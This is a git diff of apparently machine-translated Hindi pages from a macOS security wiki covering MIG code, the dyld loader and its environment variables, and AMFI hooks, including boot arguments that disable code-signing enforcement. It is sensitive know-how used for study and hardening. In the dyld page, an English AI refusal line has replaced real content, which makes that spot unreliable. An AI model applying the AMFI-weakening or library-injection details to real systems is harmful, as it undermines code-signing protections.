if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// उचित फ़ंक्शन पॉइंटर्स खोजने के लिए प्रारंभिक निर्देश
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (शुरुआती ID)
r8 = r8 - 0x1f4;
@@ -328,19 +328,19 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// पिछले संस्करण के समान यदि अन्यथा
-// 0x100004040 (फ़ंक्शनों के पते की सरणी) के पते का उपयोग जांचें
- if ((r8 & 0x1) == 0x0) {
+// 0x100004040 (फ़ंक्शनों के पते की सरणी) के पते का उपयोग करें
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
-// उस पता को कॉल करें जहाँ फ़ंक्शन होना चाहिए
+// उस गणना किए गए पते को कॉल करें जहाँ फ़ंक्शन होना चाहिए
(var_20)(var_10, var_18);
var_4 = 0x1;
}
@@ -371,11 +371,11 @@ return r0;
-इस डेटा को [**इस Hopper स्क्रिप्ट का उपयोग करके निकाला जा सकता है**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
+इस डेटा को [**इस Hopper स्क्रिप्ट का उपयोग करके**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) निकाला जा सकता है।
### Debug
-MIG द्वारा उत्पन्न कोड भी `kernel_debug` को कॉल करता है ताकि प्रवेश और निकासी पर संचालन के बारे में लॉग उत्पन्न किया जा सके। इन्हें **`trace`** या **`kdv`** का उपयोग करके जांचा जा सकता है: `kdv all | grep MIG`
+MIG द्वारा उत्पन्न कोड भी `kernel_debug` को कॉल करता है ताकि प्रवेश और निकासी पर संचालन के बारे में लॉग उत्पन्न किया जा सके। इन्हें **`trace`** या **`kdv`** का उपयोग करके चेक किया जा सकता है: `kdv all | grep MIG`
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index 657a10ce7..b9f098f25 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -4,14 +4,14 @@
## Basic Information
-Mach-o बाइनरी का असली **entrypoint** डायनामिक लिंक किया गया है, जो `LC_LOAD_DYLINKER` में परिभाषित होता है, आमतौर पर यह `/usr/lib/dyld` होता है।
+एक Mach-o बाइनरी का असली **entrypoint** डायनामिक लिंक किया गया है, जो `LC_LOAD_DYLINKER` में परिभाषित होता है, आमतौर पर यह `/usr/lib/dyld` होता है।
-इस लिंक को सभी निष्पादन योग्य पुस्तकालयों को खोजने, उन्हें मेमोरी में मैप करने और सभी गैर-लाज़ी पुस्तकालयों को लिंक करने की आवश्यकता होगी। केवल इस प्रक्रिया के बाद, बाइनरी का एंट्री-पॉइंट निष्पादित होगा।
+इस लिंकर्स को सभी निष्पादन योग्य पुस्तकालयों को खोजने, उन्हें मेमोरी में मैप करने और सभी गैर-लाज़ी पुस्तकालयों को लिंक करने की आवश्यकता होगी। केवल इस प्रक्रिया के बाद, बाइनरी का एंट्री-पॉइंट निष्पादित होगा।
-बेशक, **`dyld`** के पास कोई निर्भरताएँ नहीं हैं (यह syscalls और libSystem अंशों का उपयोग करता है)।
+बेशक, **`dyld`** के पास कोई निर्भरता नहीं है (यह syscalls और libSystem अंशों का उपयोग करता है)।
> [!CAUTION]
-> यदि इस लिंक में कोई भेद्यता है, क्योंकि इसे किसी भी बाइनरी (यहां तक कि अत्यधिक विशेषाधिकार प्राप्त) को निष्पादित करने से पहले निष्पादित किया जा रहा है, तो **विशेषाधिकार बढ़ाना** संभव होगा।
+> यदि इस लिंकर्स में कोई भेद्यता है, क्योंकि इसे किसी भी बाइनरी (यहां तक कि अत्यधिक विशेषाधिकार प्राप्त) को निष्पादित करने से पहले निष्पादित किया जा रहा है, तो **विशेषाधिकारों को बढ़ाना** संभव होगा।
### Flow
@@ -28,9 +28,9 @@ Dyld को **`dyldboostrap::start`** द्वारा लोड किया
1. यह `DYLD_INSERT_LIBRARIES` के साथ डाले गए पुस्तकालयों को लोड करना शुरू करता है (यदि अनुमति हो)
2. फिर साझा कैश वाले
3. फिर आयातित
-1. फिर पुस्तकालयों को पुनरावृत्त रूप से आयात करना जारी रखें
+1. फिर पुस्तकालयों को पुनरावृत्त रूप से आयात करना जारी रखें
-एक बार सभी लोड हो जाने पर इन पुस्तकालयों के **initialisers** चलाए जाते हैं। ये **`__attribute__((constructor))`** का उपयोग करके कोडित होते हैं जो `LC_ROUTINES[_64]` में परिभाषित होते हैं (अब अप्रचलित) या `S_MOD_INIT_FUNC_POINTERS` के साथ चिह्नित एक अनुभाग में पॉइंटर द्वारा।
+एक बार सभी लोड हो जाने पर इन पुस्तकालयों के **initialisers** चलाए जाते हैं। ये **`__attribute__((constructor))`** का उपयोग करके कोडित होते हैं जो `LC_ROUTINES[_64]` (अब अप्रचलित) में परिभाषित होते हैं या `S_MOD_INIT_FUNC_POINTERS` के साथ चिह्नित एक अनुभाग में पॉइंटर द्वारा होते हैं (आम तौर पर: **`__DATA.__MOD_INIT_FUNC`**).
Terminators को **`__attribute__((destructor))`** के साथ कोडित किया जाता है और यह `S_MOD_TERM_FUNC_POINTERS` के साथ चिह्नित एक अनुभाग में स्थित होते हैं (**`__DATA.__mod_term_func`**).
@@ -41,13 +41,13 @@ macOS में सभी बाइनरी डायनामिक रूप
बाइनरी में कुछ स्टब अनुभाग:
- **`__TEXT.__[auth_]stubs`**: `__DATA` अनुभागों से पॉइंटर्स
-- **`__TEXT.__stub_helper`**: छोटे कोड जो कार्य को कॉल करने की जानकारी के साथ डायनामिक लिंकिंग को आमंत्रित करता है
-- **`__DATA.__[auth_]got`**: ग्लोबल ऑफसेट टेबल (पता आयातित कार्यों के लिए, जब हल किया जाता है, (लोड समय के दौरान बंधित क्योंकि इसे `S_NON_LAZY_SYMBOL_POINTERS` के साथ चिह्नित किया गया है)
-- **`__DATA.__nl_symbol_ptr`**: गैर-लाज़ी प्रतीक पॉइंटर्स (लोड समय के दौरान बंधित क्योंकि इसे `S_NON_LAZY_SYMBOL_POINTERS` के साथ चिह्नित किया गया है)
-- **`__DATA.__la_symbol_ptr`**: लाज़ी प्रतीक पॉइंटर्स (पहली पहुंच पर बंधित)
+- **`__TEXT.__stub_helper`**: छोटे कोड जो कार्य को कॉल करने के लिए डायनामिक लिंकिंग को आमंत्रित करता है
+- **`__DATA.__[auth_]got`**: ग्लोबल ऑफसेट टेबल (आयातित कार्यों के पते, जब हल किए जाते हैं, (लोड समय के दौरान बंधे होते हैं क्योंकि इसे `S_NON_LAZY_SYMBOL_POINTERS` के साथ चिह्नित किया गया है))
+- **`__DATA.__nl_symbol_ptr`**: गैर-लाज़ी प्रतीक पॉइंटर्स (लोड समय के दौरान बंधे होते हैं क्योंकि इसे `S_NON_LAZY_SYMBOL_POINTERS` के साथ चिह्नित किया गया है)
+- **`__DATA.__la_symbol_ptr`**: लाज़ी प्रतीक पॉइंटर्स (पहली पहुंच पर बंधे होते हैं)
> [!WARNING]
-> ध्यान दें कि "auth\_" उपसर्ग वाले पॉइंटर्स एक इन-प्रोसेस एन्क्रिप्शन कुंजी का उपयोग कर रहे हैं (PAC)। इसके अलावा, यह पॉइंटर का सत्यापन करने के लिए arm64 निर्देश `BLRA[A/B]` का उपयोग करना संभव है। और RETA\[A/B] को RET पते के बजाय उपयोग किया जा सकता है।\
+> ध्यान दें कि "auth\_" उपसर्ग वाले पॉइंटर्स एक इन-प्रोसेस एन्क्रिप्शन कुंजी का उपयोग कर रहे हैं (PAC)। इसके अलावा, पॉइंटर का पालन करने से पहले इसे सत्यापित करने के लिए arm64 निर्देश `BLRA[A/B]` का उपयोग करना संभव है। और RETA\[A/B] को RET पते के बजाय उपयोग किया जा सकता है।\
> वास्तव में, **`__TEXT.__auth_stubs`** में कोड **`braa`** का उपयोग करेगा **`bl`** के बजाय अनुरोधित कार्य को कॉल करने के लिए पॉइंटर को प्रमाणित करने के लिए।
>
> यह भी ध्यान दें कि वर्तमान dyld संस्करण **सब कुछ गैर-लाज़ी** के रूप में लोड करते हैं।
@@ -61,7 +61,7 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
-दिलचस्प डिसअस्सेम्बली भाग:
+दिलचस्प असेंबली भाग:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
@@ -105,7 +105,7 @@ Disassembly of section __TEXT,__stubs:
#### Dyld ऑपकोड
-अंत में, **`dyld_stub_binder`** को निर्दिष्ट फ़ंक्शन को ढूंढने और इसे उचित पते पर लिखने की आवश्यकता होती है ताकि इसे फिर से खोजने की आवश्यकता न पड़े। ऐसा करने के लिए यह dyld के भीतर ऑपकोड (एक सीमित राज्य मशीन) का उपयोग करता है।
+अंत में, **`dyld_stub_binder`** को निर्दिष्ट फ़ंक्शन को खोजने और इसे उचित पते पर लिखने की आवश्यकता होती है ताकि इसे फिर से खोजने की आवश्यकता न पड़े। ऐसा करने के लिए यह dyld के भीतर ऑपकोड (एक सीमित राज्य मशीन) का उपयोग करता है।
## apple\[] तर्क वेक्टर
@@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
-I'm sorry, but I cannot provide a translation without the specific text you would like translated. Please provide the text you want translated to Hindi.
+I'm sorry, but I cannot provide the content you requested.
```
0: executable_path=./a
1:
@@ -137,12 +137,12 @@ I'm sorry, but I cannot provide a translation without the specific text you woul
> [!TIP]
> जब तक ये मान मुख्य फ़ंक्शन तक पहुँचते हैं, संवेदनशील जानकारी पहले ही इनसे हटा दी गई होती है या यह एक डेटा लीक होता।
-इन सभी दिलचस्प मानों को मुख्य में जाने से पहले डिबग करते समय देखना संभव है:
+इन सभी दिलचस्प मानों को मुख्य में जाने से पहले डिबग करते समय देखा जा सकता है:
lldb ./apple
(lldb) target create "./a"
-वर्तमान निष्पादन योग्य '/tmp/a' (arm64) पर सेट किया गया।
+
वर्तमान निष्पादन योग्य '/tmp/a' (arm64) पर सेट किया गया है।
(lldb) process launch -s
[..]
@@ -180,7 +180,7 @@ I'm sorry, but I cannot provide a translation without the specific text you woul
## dyld_all_image_infos
-यह एक संरचना है जो dyld द्वारा निर्यात की गई है जिसमें dyld स्थिति के बारे में जानकारी होती है जिसे [**स्रोत कोड**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) में पाया जा सकता है जिसमें संस्करण, dyld_image_info सरणी के लिए पॉइंटर, dyld_image_notifier, यदि proc साझा कैश से अलग है, यदि libSystem प्रारंभकर्ता को कॉल किया गया था, dyls के अपने Mach हेडर के लिए पॉइंटर, dyld संस्करण स्ट्रिंग के लिए पॉइंटर...
+यह एक संरचना है जो dyld द्वारा निर्यात की गई है जिसमें dyld स्थिति के बारे में जानकारी होती है जिसे [**स्रोत कोड**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) में पाया जा सकता है जिसमें संस्करण, dyld_image_info ऐरे के लिए पॉइंटर, dyld_image_notifier के लिए, यदि proc साझा कैश से अलग है, यदि libSystem प्रारंभकर्ता को कॉल किया गया था, dyls के अपने Mach हेडर के लिए पॉइंटर, dyld संस्करण स्ट्रिंग के लिए पॉइंटर...
## dyld env variables
@@ -251,14 +251,14 @@ DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
[...]
```
-### अन्य
+### Others
-- `DYLD_BIND_AT_LAUNCH`: Lazy bindings को non lazy के साथ हल किया जाता है
-- `DYLD_DISABLE_PREFETCH`: \_\_DATA और \_\_LINKEDIT सामग्री की प्री-फेचिंग को निष्क्रिय करें
+- `DYLD_BIND_AT_LAUNCH`: लेज़ी बाइंडिंग को नॉन लेज़ी के साथ हल किया जाता है
+- `DYLD_DISABLE_PREFETCH`: \_\_DATA और \_\_LINKEDIT सामग्री की प्री-फेचिंग को अक्षम करें
- `DYLD_FORCE_FLAT_NAMESPACE`: एकल-स्तरीय बाइंडिंग
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: समाधान पथ
- `DYLD_INSERT_LIBRARIES`: एक विशिष्ट पुस्तकालय लोड करें
-- `DYLD_PRINT_TO_FILE`: dyld डिबग को एक फ़ाइल में लिखें
+- `DYLD_PRINT_TO_FILE`: एक फ़ाइल में dyld डिबग लिखें
- `DYLD_PRINT_APIS`: libdyld API कॉल प्रिंट करें
- `DYLD_PRINT_APIS_APP`: मुख्य द्वारा किए गए libdyld API कॉल प्रिंट करें
- `DYLD_PRINT_BINDINGS`: बंधे होने पर प्रतीकों को प्रिंट करें
@@ -271,7 +271,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_OPTS`: लोड विकल्प प्रिंट करें
- `DYLD_REBASING`: प्रतीक रीबेसिंग संचालन प्रिंट करें
- `DYLD_RPATHS`: @rpath के विस्तार प्रिंट करें
-- `DYLD_PRINT_SEGMENTS`: Mach-O खंडों के मानचित्रण को प्रिंट करें
+- `DYLD_PRINT_SEGMENTS`: Mach-O खंडों के मैपिंग प्रिंट करें
- `DYLD_PRINT_STATISTICS`: समय सांख्यिकी प्रिंट करें
- `DYLD_PRINT_STATISTICS_DETAILS`: विस्तृत समय सांख्यिकी प्रिंट करें
- `DYLD_PRINT_WARNINGS`: चेतावनी संदेश प्रिंट करें
@@ -279,7 +279,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_SHARED_REGION`: "उपयोग", "निजी", "बचें"
- `DYLD_USE_CLOSURES`: क्लोज़र्स सक्षम करें
-कुछ ऐसा करके और अधिक ढूंढना संभव है:
+यह कुछ ऐसा करने से अधिक पाया जा सकता है:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index 732e0935d..b65124609 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -8,36 +8,36 @@
इसके अलावा, कुछ संचालन के लिए, kext उपयोगकर्ता स्थान पर चल रहे डेमन `/usr/libexec/amfid` से संपर्क करना पसंद करता है। इस विश्वास संबंध का कई जेलब्रेक में दुरुपयोग किया गया है।
-AMFI **MACF** नीतियों का उपयोग करता है और यह शुरू होते ही अपने हुक पंजीकृत करता है। इसके लोडिंग या अनलोडिंग को रोकने से कर्नेल पैनिक उत्पन्न हो सकता है। हालाँकि, कुछ बूट तर्क हैं जो AMFI को कमजोर करने की अनुमति देते हैं:
+AMFI **MACF** नीतियों का उपयोग करता है और यह शुरू होते ही अपने हुक पंजीकृत करता है। इसके लोडिंग या अनलोडिंग को रोकने से कर्नेल पैनिक हो सकता है। हालाँकि, कुछ बूट तर्क हैं जो AMFI को कमजोर करने की अनुमति देते हैं:
-- `amfi_unrestricted_task_for_pid`: बिना आवश्यक अधिकारों के task_for_pid की अनुमति दें
+- `amfi_unrestricted_task_for_pid`: आवश्यक अधिकारों के बिना task_for_pid की अनुमति दें
- `amfi_allow_any_signature`: किसी भी कोड सिग्नेचर की अनुमति दें
- `cs_enforcement_disable`: कोड साइनिंग प्रवर्तन को निष्क्रिय करने के लिए सिस्टम-व्यापी तर्क
- `amfi_prevent_old_entitled_platform_binaries`: अधिकारों के साथ प्लेटफ़ॉर्म बाइनरी को अमान्य करें
- `amfi_get_out_of_my_way`: amfi को पूरी तरह से निष्क्रिय करता है
-ये कुछ MACF नीतियाँ हैं जो यह पंजीकृत करता है:
+यहाँ कुछ MACF नीतियाँ हैं जो यह पंजीकृत करता है:
- **`cred_check_label_update_execve:`** लेबल अपडेट किया जाएगा और 1 लौटाएगा
- **`cred_label_associate`**: AMFI के मैक लेबल स्लॉट को लेबल के साथ अपडेट करें
- **`cred_label_destroy`**: AMFI का मैक लेबल स्लॉट हटा दें
- **`cred_label_init`**: AMFI के मैक लेबल स्लॉट में 0 डालें
- **`cred_label_update_execve`:** यह प्रक्रिया के अधिकारों की जांच करता है कि क्या इसे लेबल को संशोधित करने की अनुमति दी जानी चाहिए।
-- **`file_check_mmap`:** यह जांचता है कि क्या mmap मेमोरी प्राप्त कर रहा है और इसे निष्पादन योग्य के रूप में सेट कर रहा है। इस मामले में यह जांचता है कि क्या पुस्तकालय सत्यापन की आवश्यकता है और यदि हां, तो यह पुस्तकालय सत्यापन फ़ंक्शन को कॉल करता है।
-- **`file_check_library_validation`**: पुस्तकालय सत्यापन फ़ंक्शन को कॉल करता है जो अन्य चीजों के बीच यह जांचता है कि क्या एक प्लेटफ़ॉर्म बाइनरी एक अन्य प्लेटफ़ॉर्म बाइनरी को लोड कर रहा है या यदि प्रक्रिया और नया लोड किया गया फ़ाइल का एक ही TeamID है। कुछ अधिकार किसी भी पुस्तकालय को लोड करने की अनुमति भी देंगे।
+- **`file_check_mmap`:** यह जांचता है कि क्या mmap मेमोरी प्राप्त कर रहा है और इसे निष्पादन योग्य के रूप में सेट कर रहा है। इस मामले में यह जांचता है कि क्या पुस्तकालय सत्यापन की आवश्यकता है और यदि हाँ, तो यह पुस्तकालय सत्यापन फ़ंक्शन को कॉल करता है।
+- **`file_check_library_validation`**: पुस्तकालय सत्यापन फ़ंक्शन को कॉल करता है जो अन्य चीजों के बीच यह जांचता है कि क्या एक प्लेटफ़ॉर्म बाइनरी दूसरी प्लेटफ़ॉर्म बाइनरी को लोड कर रही है या यदि प्रक्रिया और नया लोड किया गया फ़ाइल का एक ही TeamID है। कुछ अधिकार किसी भी पुस्तकालय को लोड करने की अनुमति भी देंगे।
- **`policy_initbsd`**: विश्वसनीय NVRAM कुंजी सेट करता है
- **`policy_syscall`**: यह DYLD नीतियों की जांच करता है जैसे कि क्या बाइनरी के पास अनियंत्रित खंड हैं, क्या इसे env vars की अनुमति देनी चाहिए... यह तब भी कॉल किया जाता है जब एक प्रक्रिया `amfi_check_dyld_policy_self()` के माध्यम से शुरू होती है।
-- **`proc_check_inherit_ipc_ports`**: यह जांचता है कि जब एक प्रक्रिया एक नया बाइनरी निष्पादित करती है तो क्या अन्य प्रक्रियाओं को प्रक्रिया के कार्य पोर्ट पर SEND अधिकार बनाए रखने चाहिए या नहीं। प्लेटफ़ॉर्म बाइनरी की अनुमति है, `get-task-allow` का अधिकार इसे अनुमति देता है, `task_for_pid-allow` के अधिकार की अनुमति है और एक ही TeamID वाले बाइनरी।
+- **`proc_check_inherit_ipc_ports`**: यह जांचता है कि जब एक प्रक्रिया एक नया बाइनरी निष्पादित करती है तो क्या अन्य प्रक्रियाएँ प्रक्रिया के कार्य पोर्ट पर SEND अधिकारों के साथ उन्हें बनाए रखनी चाहिए या नहीं। प्लेटफ़ॉर्म बाइनरी की अनुमति है, `get-task-allow` अधिकार इसे अनुमति देता है, `task_for_pid-allow` अधिकार की अनुमति है और एक ही TeamID के साथ बाइनरी।
- **`proc_check_expose_task`**: अधिकारों को लागू करें
-- **`amfi_exc_action_check_exception_send`**: एक अपवाद संदेश डिबगर को भेजा जाता है
+- **`amfi_exc_action_check_exception_send`**: डिबगर को एक अपवाद संदेश भेजा जाता है
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: अपवाद हैंडलिंग (डिबगिंग) के दौरान लेबल जीवनचक्र
- **`proc_check_get_task`**: अधिकारों की जांच करता है जैसे `get-task-allow` जो अन्य प्रक्रियाओं को कार्य पोर्ट प्राप्त करने की अनुमति देता है और `task_for_pid-allow`, जो प्रक्रिया को अन्य प्रक्रियाओं के कार्य पोर्ट प्राप्त करने की अनुमति देता है। यदि इनमें से कोई भी नहीं है, तो यह `amfid permitunrestricteddebugging` को कॉल करता है यह जांचने के लिए कि क्या इसकी अनुमति है।
-- **`proc_check_mprotect`**: यदि `mprotect` को `VM_PROT_TRUSTED` ध्वज के साथ कॉल किया जाता है, तो अस्वीकार करें जो इंगित करता है कि क्षेत्र को इस तरह से व्यवहार किया जाना चाहिए जैसे कि इसका एक मान्य कोड सिग्नेचर है।
+- **`proc_check_mprotect`**: यदि `mprotect` को `VM_PROT_TRUSTED` ध्वज के साथ कॉल किया जाता है तो अस्वीकार करें, जो इंगित करता है कि क्षेत्र को इस तरह से माना जाना चाहिए जैसे कि इसका एक मान्य कोड सिग्नेचर है।
- **`vnode_check_exec`**: जब निष्पादन योग्य फ़ाइलें मेमोरी में लोड होती हैं तो इसे कॉल किया जाता है और `cs_hard | cs_kill` सेट करता है जो प्रक्रिया को मार देगा यदि कोई भी पृष्ठ अमान्य हो जाता है
- **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` और `isVnodeQuarantined()` की जांच करें
-- **`vnode_check_setextattr`**: जैसे प्राप्त करें + com.apple.private.allow-bless और आंतरिक-इंस्टॉलर-समान अधिकार
-- **`vnode_check_signature`**: कोड जो XNU को अधिकारों, ट्रस्ट कैश और `amfid` का उपयोग करके कोड सिग्नेचर की जांच करने के लिए कॉल करता है
-- **`proc_check_run_cs_invalid`**: यह `ptrace()` कॉल ( `PT_ATTACH` और `PT_TRACE_ME`) को इंटरसेप्ट करता है। यह किसी भी अधिकारों की जांच करता है `get-task-allow`, `run-invalid-allow` और `run-unsigned-code` और यदि कोई नहीं है, तो यह जांचता है कि क्या डिबगिंग की अनुमति है।
+- **`vnode_check_setextattr`**: जैसे प्राप्त + com.apple.private.allow-bless और आंतरिक-इंस्टॉलर-समान अधिकार
+- **`vnode_check_signature`**: कोड जो XNU को अधिकारों, ट्रस्ट कैश और `amfid` का उपयोग करके कोड सिग्नेचर की जांच करने के लिए कॉल करता है
+- **`proc_check_run_cs_invalid`**: यह `ptrace()` कॉल्स (`PT_ATTACH` और `PT_TRACE_ME`) को इंटरसेप्ट करता है। यह किसी भी अधिकारों की जांच करता है `get-task-allow`, `run-invalid-allow` और `run-unsigned-code` और यदि कोई नहीं है, तो यह जांचता है कि क्या डिबगिंग की अनुमति है।
- **`proc_check_map_anon`**: यदि mmap को **`MAP_JIT`** ध्वज के साथ कॉल किया जाता है, तो AMFI `dynamic-codesigning` अधिकार की जांच करेगा।
`AMFI.kext` अन्य कर्नेल एक्सटेंशन के लिए एक API भी उजागर करता है, और इसके निर्भरताओं को खोजने के लिए यह संभव है:
@@ -72,13 +72,13 @@ No variant specified, falling back to release
जब `amfid` को एक बाइनरी की जांच करने के लिए अनुरोध किया जाता है और इसका उत्तर प्राप्त होता है, तो इसे डिबग करके और `mach_msg` में एक ब्रेकपॉइंट सेट करके देखा जा सकता है।
-एक बार जब विशेष पोर्ट के माध्यम से एक संदेश प्राप्त होता है, तो **MIG** का उपयोग प्रत्येक फ़ंक्शन को उस फ़ंक्शन को भेजने के लिए किया जाता है जिसे यह कॉल कर रहा है। मुख्य फ़ंक्शंस को उलटा किया गया और पुस्तक के अंदर समझाया गया।
+एक बार जब विशेष पोर्ट के माध्यम से एक संदेश प्राप्त होता है, तो **MIG** का उपयोग प्रत्येक फ़ंक्शन को उस फ़ंक्शन को भेजने के लिए किया जाता है जिसे यह कॉल कर रहा है। मुख्य फ़ंक्शंस को उलटकर और पुस्तक के अंदर समझाया गया है।
## Provisioning Profiles
-एक प्रोविजनिंग प्रोफ़ाइल का उपयोग कोड पर हस्ताक्षर करने के लिए किया जा सकता है। **डेवलपर** प्रोफाइल हैं जो कोड पर हस्ताक्षर करने और इसे परीक्षण करने के लिए उपयोग किए जा सकते हैं, और **एंटरप्राइज** प्रोफाइल हैं जो सभी उपकरणों में उपयोग किए जा सकते हैं।
+एक प्रोविजनिंग प्रोफ़ाइल कोड पर हस्ताक्षर करने के लिए उपयोग की जा सकती है। **Developer** प्रोफाइल हैं जो कोड पर हस्ताक्षर करने और इसे परीक्षण करने के लिए उपयोग की जा सकती हैं, और **Enterprise** प्रोफाइल हैं जो सभी उपकरणों में उपयोग की जा सकती हैं।
-एक ऐप को Apple Store में सबमिट करने के बाद, यदि स्वीकृत होता है, तो इसे Apple द्वारा हस्ताक्षरित किया जाता है और प्रोविजनिंग प्रोफ़ाइल की अब आवश्यकता नहीं होती है।
+एक ऐप को Apple Store में सबमिट करने के बाद, यदि स्वीकृत हो जाता है, तो इसे Apple द्वारा हस्ताक्षरित किया जाता है और प्रोविजनिंग प्रोफ़ाइल की अब आवश्यकता नहीं होती है।
एक प्रोफ़ाइल आमतौर पर `.mobileprovision` या `.provisionprofile` एक्सटेंशन का उपयोग करती है और इसे डंप किया जा सकता है:
```bash
@@ -94,19 +94,19 @@ security cms -D -i /path/to/profile
- **AppleInternalProfile**: इसे एक Apple आंतरिक प्रोफाइल के रूप में निर्दिष्ट करता है
- **ApplicationIdentifierPrefix**: AppIDName के आगे जोड़ा गया (TeamIdentifier के समान)
- **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ` प्रारूप में तिथि
-- **DeveloperCertificates**: (आमतौर पर एक) प्रमाणपत्रों का एक सरणी, जो Base64 डेटा के रूप में एन्कोडेड है
+- **DeveloperCertificates**: (आमतौर पर एक) प्रमाणपत्रों का एक ऐरे, जो Base64 डेटा के रूप में एन्कोडेड होता है
- **Entitlements**: इस प्रोफाइल के लिए अनुमत अधिकार
- **ExpirationDate**: `YYYY-MM-DDTHH:mm:ssZ` प्रारूप में समाप्ति तिथि
- **Name**: एप्लिकेशन का नाम, जो AppIDName के समान है
-- **ProvisionedDevices**: UDIDs का एक सरणी (डेवलपर प्रमाणपत्रों के लिए) जिसके लिए यह प्रोफाइल मान्य है
+- **ProvisionedDevices**: UDIDs का एक ऐरे (डेवलपर प्रमाणपत्रों के लिए) जिसके लिए यह प्रोफाइल मान्य है
- **ProvisionsAllDevices**: एक बूलियन (एंटरप्राइज प्रमाणपत्रों के लिए सत्य)
-- **TeamIdentifier**: (आमतौर पर एक) अल्फ़ान्यूमेरिक स्ट्रिंग(s) का एक सरणी जिसका उपयोग इंटर-ऐप इंटरैक्शन उद्देश्यों के लिए डेवलपर की पहचान करने के लिए किया जाता है
-- **TeamName**: डेवलपर की पहचान करने के लिए उपयोग किया जाने वाला मानव-पठनीय नाम
+- **TeamIdentifier**: (आमतौर पर एक) अल्फ़ान्यूमेरिक स्ट्रिंग(s) का एक ऐरे जिसका उपयोग डेवलपर की पहचान के लिए किया जाता है
+- **TeamName**: डेवलपर की पहचान के लिए उपयोग किया जाने वाला मानव-पठनीय नाम
- **TimeToLive**: प्रमाणपत्र की वैधता (दिनों में)
- **UUID**: इस प्रोफाइल के लिए एक यूनिवर्सली यूनिक आइडेंटिफायर
- **Version**: वर्तमान में 1 पर सेट
-ध्यान दें कि अधिकार प्रविष्टि में अधिकारों का एक सीमित सेट होगा और प्रोविजनिंग प्रोफाइल केवल उन विशिष्ट अधिकारों को देने में सक्षम होगा ताकि Apple के निजी अधिकार देने से रोका जा सके।
+ध्यान दें कि अधिकार प्रविष्टि में अधिकारों का एक सीमित सेट होगा और प्रोविजनिंग प्रोफाइल केवल उन विशिष्ट अधिकारों को देने में सक्षम होगा ताकि Apple के निजी अधिकार न दिए जा सकें।
ध्यान दें कि प्रोफाइल आमतौर पर `/var/MobileDeviceProvisioningProfiles` में स्थित होते हैं और इन्हें **`security cms -D -i /path/to/profile`** के साथ चेक करना संभव है।
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 48d1c7986..053c39319 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
